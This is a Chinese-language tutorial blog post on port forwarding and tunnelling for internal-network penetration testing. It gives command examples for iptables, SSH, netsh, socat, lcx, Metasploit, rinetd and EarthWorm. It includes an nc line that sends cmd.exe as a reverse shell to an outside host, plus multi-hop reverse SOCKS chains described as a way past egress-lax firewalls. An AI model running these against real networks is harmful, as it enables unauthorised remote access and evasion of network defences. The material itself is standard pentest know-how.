百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 热门文章 > 正文

「渗透测试」内网渗透中的端口转发

bigegpt 2024-08-02 11:07 33 浏览

一、内网渗透中的端口转发

需要知道,在渗透的整个流程中,根据web应用或者开放的端口进行渗透,获取webshell只是渗透这门艺术的一小部分,在真实的错综复杂的企业环境中进行内网渗透,其实水很深,涉及内网穿透,端口转发,域渗透,提权等一系列的难题。所以这篇文章对内网渗透学习进行一些记录。在这过程中参考了很多前辈们的宝贵经验,我把这些链接进行了收集,放在参考文献部分。

二、转发,映射,代理

这几个概念其实是比较难区分的,特别是和后面的内网穿透混在一起,在宏观上说,他们差别不大。但是究其本质还是存在不小的差别的。现在就先对这几个概念说一下我个人的理解:

转发:转发是渗透中一种手段,是将一个网络端口从一个网络节点转发到另一个节点的行为。结果是使一个外网用户经过一个NAT路由器到达在内网IP地址某个端口。有时候也被称为隧道。

映射:映射也是渗透中的一种手段,端口映射就是将外网主机的IP地址的一个端口映射到内网中一台机器,提供相应的服务。其实很多时候转发和映射

代理:代理是一种结果,以端口转发和映射为技术基础。代理在很多场合是用在连接互联网的web服务上面,起到突破ip封锁,隐匿身份等作用。其原理是动态的端口转发。只需要本机和代理间建立一个隧道,然后代理就可以根据本机发起的请求去动态的获取出链的地址与端口。

内网穿透:内网穿透是目的,它使用的手段有包括端口转发和映射,或者直接使用代理这一结果。很多时候我们指的内网穿透场景是指攻击机与靶机处于处于不同的内网中,一些回弹shell之类的手段直接实现,因为IP地址无法相互建立连接。这个时候就需要使用一些内网穿透常见的工具。这些工具也是使用端口转发和映射或类似的方法来突破限制。

三、系统内置的转发工具

iptables NAT功能

由于linux主机出于安全考虑,系统参数/proc/sys/net/ipv4/ip_forward默认为0,所以是禁止NAT功能的,我们可以通过以下两种你方式修改系统运行时的参数。

临时方案

1echo 1 >/proc/sys/net/ipv4/ip_forward

长期方案

运行vi /etc/sysctl.conf

1# 找到下面的值并将0改成1
2
3net.ipv4.ip_forward = 1

运行sysctl –p,使改动立即生效 。

下面是一个转发的示例

# 1.1.1.1是公网ip,192.168.2.2内网ip
2iptables -t nat -A PREROUTING  -p tcp -d 1.1.1.1 --dport 80 -j DNAT --to-destination 192.168.2.2:8080
3
4iptables -t nat -A POSTROUTING -p tcp -s 192.168.2.2 --sport 8080 -j SNAT --to-source 1.1.1.1
5
6service iptables save

这样就会使得访问1.1.1.1:80 映射到了192.168.2.2:8080端口。注意到这里

nc

# 公网主机
2nc -lvp 4444
3
4# 内网机器
5nc -t -e cmd.exe 公网主机ip 4444

SSH

 1#本地端口转发:
 2ssh -CfNg -L port1:127.0.0.1:port2 user@host 
 3参数: -L 本地网卡地址:本地端口:目标地址:目标端口
 4
 5#远程端口转发: 
 6ssh -CfNg -R port2:127.0.0.1:port1 user@hsst
 7参数: -R 远程网卡地址:远程端口:目标地址:目标端口
 8
 9#动态端口转发
10ssh -D localhost:2000 root@103.59.22.17
11参数:-D 本地网卡地址:本地端口

netsh

netsh是windows下提供网络管理的命令行工具,它是一个交互式的shell,涉及到上下文的概念。我们在交互式下面进入相应的上下文,进行参数的设置。也可以直接下面这样非交互式的进行端口转发。

1netsh  interface ipv6 install
2#转发
3netsh interface portproxy add v4tov4 listenaddress=10.10.18.1 listenport=4455 connectaddress=10.10.12.1  connectport=8080
4
5#删除转发
6netsh interface portproxy delete v4tov4 listenaddress={B的IP}  listenport={B的端口}

四、非内置的端口转发工具

socat

socat这个端口转发我们其实更常用在ssrf构造payload的时候本地抓包,因为socat有记录转发流的功能。将socat作为中介捕获我们构造的payload包,然后进行进一步的操作,如gopher协议的构造。

1#安装
 2yum install -y socat
 3apt install -y socat 
 4
 5#TCP 
 6nohup socat TCP4-LISTEN:10000,reuseaddr,fork TCP4:1.1.1.1:10000
 7
 8TCP4-LISTEN:10000  监听 ipv4 的 10000TCP 端口。 10000 改成你自己需要转发的端口
 9fork TCP4:1.1.1.1:10000  转发到 1.1.1.1 的 10000 端口,根据需求修改自行修改 ip 和端口
10nohup 后台运行。可以把这个命令写到   /etc/rc.local 里面开机启动启动。
11
12#UDP
13nohup socat -T 600 UDP4-LISTEN:10000,reuseaddr,fork UDP4:1.1.1.1:10000

lcx.exe

 1lcx-<listen|tran|slave> <option> [-log logfile]
 2[option:]
 3
 4 -listen <监听端口> <转发端口> 
 5
 6 -tran<监听端口> <目标地址> <目标端口>
 7
 8 -slave <目标主机> <目标端口> <本地主机><本机端口>
 9
10
11内网机器上执行:
12lcx.exe –slave 公网IP +端口 内网IP +端口
13例: 
14lcx.exe –slave 192.168.43.142 51 192.168.43.137 3389
15公网上执行:
16Lcx.exe –listen 监听51端口,转发到公网机器的3389端口
17例: 
18Lcx.exe –listen 51 3389

Metasploit socks4a

一组在实际渗透过程中的三件套:路由表+socks4a+proxychains。这样一来可以使用攻击机上的渗透工具,利用meterpreter session作为跳板,对内网进行渗透。下面的是流程。

11. 在反弹的shell中添加路由,如
2run autoroute -s 192.168.122.0/24
32. 使用socks4a模块并设置端口
4use auxiliary/server/socks4a
53. 配置proxychains

Meterpreter portfwd

在MSF渗透框架里面内置了端口转发的命令,在回弹了shell的条件下可以直接使用,下面式相关参数解析。

1meterpreter > portfwd -h
 2Usage: portfwd [-h] [add | delete | list | flush] [args]
 3
 4
 5OPTIONS:
 6
 7    -L <opt>  转发: 本地监听地址  反向: 本地主机连接到某个地址
 8    -R        表示正向反向端口
 9    -h        帮助信息
10    -i <opt>  端口转发条目的索引与交互(请参阅“列表”命令)
11    -l <opt>  转发:本地端口收听  反向:本地端口连接
12    -p <opt>  转发:远程端口连接  反向:远程端口监听
13    -r <opt>  转发:连接到远程主机
14
15
16例子:
17portfwd -L 127.0.0.1 -l 1212 -r 10.10.12.1 -p 3389  

Rinetd

 1# 安装,注意到centos没有其默认的软件源,需要手动导入;ubuntu的比较方便
 2#centos 32
 3$ vim /etc/yum.repos.d/nux-misc.repo
 4[nux-misc]
 5name=Nux Misc
 6baseurl=http://li.nux.ro/download/nux/misc/el6/i386/
 7enabled=0
 8gpgcheck=1
 9gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro
10
11#centos 64
12$ vim  /etc/yum.repos.d/nux-misc.repo:
13
14[nux-misc]
15name=Nux Misc
16baseurl=http://li.nux.ro/download/nux/misc/el6/x86_64/
17enabled=0
18gpgcheck=1
19gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro
20
21$ yum --enablerepo=nux-misc install rinetd
22
23# ubuntu
24$ apt-get install rinetd
25
26#配置文件在/etc/rinetd.conf,配置参数格式
27[bindaddress] [bindport] [connectaddress] [connectport]
28绑定的地址    绑定的端口  连接的地址      连接的端口
29
30[Source Address] [Source Port] [Destination Address] [Destination Port]
31源地址            源端口         目的地址               目的端口
32
33#举例
34$ vim /etc/rinetd.conf
35
360.0.0.0 8080 172.19.94.3 8080
370.0.0.0 2222 192.168.0.103 3389
381.2.3.4 80 192.168.0.10 80
39allow *.*.*.*
40logfile /var/log/rinetd.log
41
42#解释
430.0.0.0表示本机绑定所有可用地址
44将所有发往本机8080端口的请求转发到172.19.94.3的8080端口
45将所有发往本机2222端口的请求转发到192.168.0.103的3389端口
46将所有发往1.2.3.4的80端口请求转发到192.168.0.10的80端口
47allow设置允许访问的ip地址信息,*.*.*.*表示所有IP地址
48logfil设置打印的log的位置
49
50# 运行
51#脚本启动
52$ /etc/init.d/rinetd start
53
54#二进制启动
55$ /usr/sbin/rinetd -c /etc/rinetd.conf
56
57#关闭(使用脚本,或则和pkill)
58$ /etc/init.d/rinetd stop

Tunna 与 reGeorg

这两个工具的使用都是比较简单,就不啰嗦了,在获取webshell后,我们可以通过http进行端口转发。直接给出两个项目地址,推荐使用reGeorg,Tunna不稳定。Tunna工具地址

Localtunnel与Gnork

这两个工具都可以将内网的端口映射到公网,然后访问公网的ip就类似于访问内网的端口。这两个工具可以提供自建服务或者使用它提供的服务器进行内网穿透。其实这类工具在实际渗透中不是很常用。更直接的场景是自己攻击机在内网,在进行相关回连操作的时候,需要目标机器可达,毕竟它们只是一级转发,而且操作麻烦。直接给出项目地址

https://github.com/localtunnel/localtunnel

https://ngrok.com/

EW

工具的地址:http://rootkiter.com/EarthWorm/

这是个国产的打洞神器,因为其方便的多级转发,支持反向代理等特性,在内网渗透领域可是响当当的。这里重点对这个工具做下记录,真的太强大了

该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。下面针对官方的例子进行以下解释:

正向代理

1$ ./ew -s ssocksd -l 1080

开启机器的1080端口做正向代理,我们可以通过链接该机器的1080端口进行端口代理转发。一般的场景为:kali 通过proxychain 链接开启了正向代理的公网ip。

反响代理

1#公网ip主机A,ip假设为1.1.1.1
2./ew -s rcsocks -l 1080 -e 8888 
3
4# 目标机B
5./ew -s rssocks -d 1.1.1.1 -e 8888

反向代理是目标机向我们发起链接请求,与正向代理是不一样的。当建立了链接后,它的代理流如下Me<--->A<--->B。即我只要连接A的1080端口就可以获得一条反向代理的隧道,与B建立连接。这种场景可以用来绕过入口策略严格但是出口策略松散的防火墙。

多级转发

在前面的两个场景中,我们看到了rcsocks,`ssocksd,rssocks这三个命令的使用。在多级转发中我们会见到另外三个命令的作用。他们就类似于中间件,负责隧道导流与串接。

1#命令使用举例:
2# lcx_listen 用在将本机的端口进行转发
3$ ./ew -s lcx_listen -l  1080   -e 8888
4# lcx_tran 将本机端口与目的ip地址的端口进行转发
5$ ./ew -s lcx_tran   -l  1080   -f 2.2.2.3 -g 9999
6# lcx_slave 作为奴隶,将本机直接可达的两个主机实体上的端口进行转发
7$ ./ew -s lcx_slave  -d 1.1.1.1 -e 8888    -f 2.2.2.3  -g  9999

下面我们来看个实际渗透三级级联例子:

 1# 我们自己的VPS执行
 2$ ./ew -s rcsocks -l 1080 -e 8888
 3
 4# 跳板机A执行
 5$ ./ew -s lcx_slave -d ip_A -e 8888 -f ip_B -g 9999
 6
 7# 跳板机B执行
 8$ ./ew -s lcx_listen -l 9999 -e 7777
 9
10# 跳板机C执行
11$ ./ew -s rssocks -d ip_B -e 7777

数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks。

我们来解读以下这个三级级联,首先这是个反向代理的例子,反向代理的目的端口是C的7777,当隧道建立完成,我们只需要连接到VPS的1080端口,就会自动帮我们转发到7777。我们来看下中间过程如何:首先第一个命令VPS在8888接收反向代理,并且在1080等候我们的连接。第二条命令将跳板机A的8888端口导向9999;第三行命令将跳板机B的9999端口导向7777;最后第四条命令在跳板机上进行反向代理发起连接到跳板机B的7777端口。

FRP

frp也提供了完善的内网穿透的功能,功能上其实和gnork这些差不多,但是相比起来,FRP的配置更为灵活。推荐层度:FRP>Localtunnel>gnork

五、过墙隧道

前面介绍的端口转发,有使用http协议,tcp协议,sockts代理的,但是这些协议转发流量太过于碍眼,容易被严谨的防火墙规则过滤,导致shell从内网出不来,那么在这种情况下,我们就需要强有力的过墙隧道。下面是笔者在网上搜罗的一些走udp的dns隧道和走icmp的隧道,可以说这两种打洞手段很别出心裁,笔者看得是叹为观止。这里先把相关的工具链接和看过的资料记录下来。写不动了……,避免篇幅过长(其实是有点懒),下次补上。 ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓

需要【参考资料&工具】的朋友可以关注转发走一波 私信【工具】即可免费获取!

相关推荐

得物可观测平台架构升级:基于GreptimeDB的全新监控体系实践

一、摘要在前端可观测分析场景中,需要实时观测并处理多地、多环境的运行情况,以保障Web应用和移动端的可用性与性能。传统方案往往依赖代理Agent→消息队列→流计算引擎→OLAP存储...

warm-flow新春版:网关直连和流程图重构

本期主要解决了网关直连和流程图重构,可以自此之后可支持各种复杂的网关混合、多网关直连使用。-新增Ruoyi-Vue-Plus优秀开源集成案例更新日志[feat]导入、导出和保存等新增json格式支持...

扣子空间体验报告

在数字化时代,智能工具的应用正不断拓展到我们工作和生活的各个角落。从任务规划到项目执行,再到任务管理,作者深入探讨了这款工具在不同场景下的表现和潜力。通过具体的应用实例,文章展示了扣子空间如何帮助用户...

spider-flow:开源的可视化方式定义爬虫方案

spider-flow简介spider-flow是一个爬虫平台,以可视化推拽方式定义爬取流程,无需代码即可实现一个爬虫服务。spider-flow特性支持css选择器、正则提取支持JSON/XML格式...

solon-flow 你好世界!

solon-flow是一个基础级的流处理引擎(可用于业务规则、决策处理、计算编排、流程审批等......)。提供有“开放式”驱动定制支持,像jdbc有mysql或pgsql等驱动,可...

新一代开源爬虫平台:SpiderFlow

SpiderFlow:新一代爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。-精选真开源,释放新价值。概览Spider-Flow是一个开源的、面向所有用户的Web端爬虫构建平台,它使用Ja...

通过 SQL 训练机器学习模型的引擎

关注薪资待遇的同学应该知道,机器学习相关的岗位工资普遍偏高啊。同时随着各种通用机器学习框架的出现,机器学习的门槛也在逐渐降低,训练一个简单的机器学习模型变得不那么难。但是不得不承认对于一些数据相关的工...

鼠须管输入法rime for Mac

鼠须管输入法forMac是一款十分新颖的跨平台输入法软件,全名是中州韵输入法引擎,鼠须管输入法mac版不仅仅是一个输入法,而是一个输入法算法框架。Rime的基础架构十分精良,一套算法支持了拼音、...

Go语言 1.20 版本正式发布:新版详细介绍

Go1.20简介最新的Go版本1.20在Go1.19发布六个月后发布。它的大部分更改都在工具链、运行时和库的实现中。一如既往,该版本保持了Go1的兼容性承诺。我们期望几乎所...

iOS 10平台SpriteKit新特性之Tile Maps(上)

简介苹果公司在WWDC2016大会上向人们展示了一大批新的好东西。其中之一就是SpriteKitTileEditor。这款工具易于上手,而且看起来速度特别快。在本教程中,你将了解关于TileE...

程序员简历例句—范例Java、Python、C++模板

个人简介通用简介:有良好的代码风格,通过添加注释提高代码可读性,注重代码质量,研读过XXX,XXX等多个开源项目源码从而学习增强代码的健壮性与扩展性。具备良好的代码编程习惯及文档编写能力,参与多个高...

Telerik UI for iOS Q3 2015正式发布

近日,TelerikUIforiOS正式发布了Q32015。新版本新增对XCode7、Swift2.0和iOS9的支持,同时还新增了对数轴、不连续的日期时间轴等;改进TKDataPoin...

ios使用ijkplayer+nginx进行视频直播

上两节,我们讲到使用nginx和ngixn的rtmp模块搭建直播的服务器,接着我们讲解了在Android使用ijkplayer来作为我们的视频直播播放器,整个过程中,需要注意的就是ijlplayer编...

IOS技术分享|iOS快速生成开发文档(一)

前言对于开发人员而言,文档的作用不言而喻。文档不仅可以提高软件开发效率,还能便于以后的软件开发、使用和维护。本文主要讲述Objective-C快速生成开发文档工具appledoc。简介apple...

macOS下配置VS Code C++开发环境

本文介绍在苹果macOS操作系统下,配置VisualStudioCode的C/C++开发环境的过程,本环境使用Clang/LLVM编译器和调试器。一、前置条件本文默认前置条件是,您的开发设备已...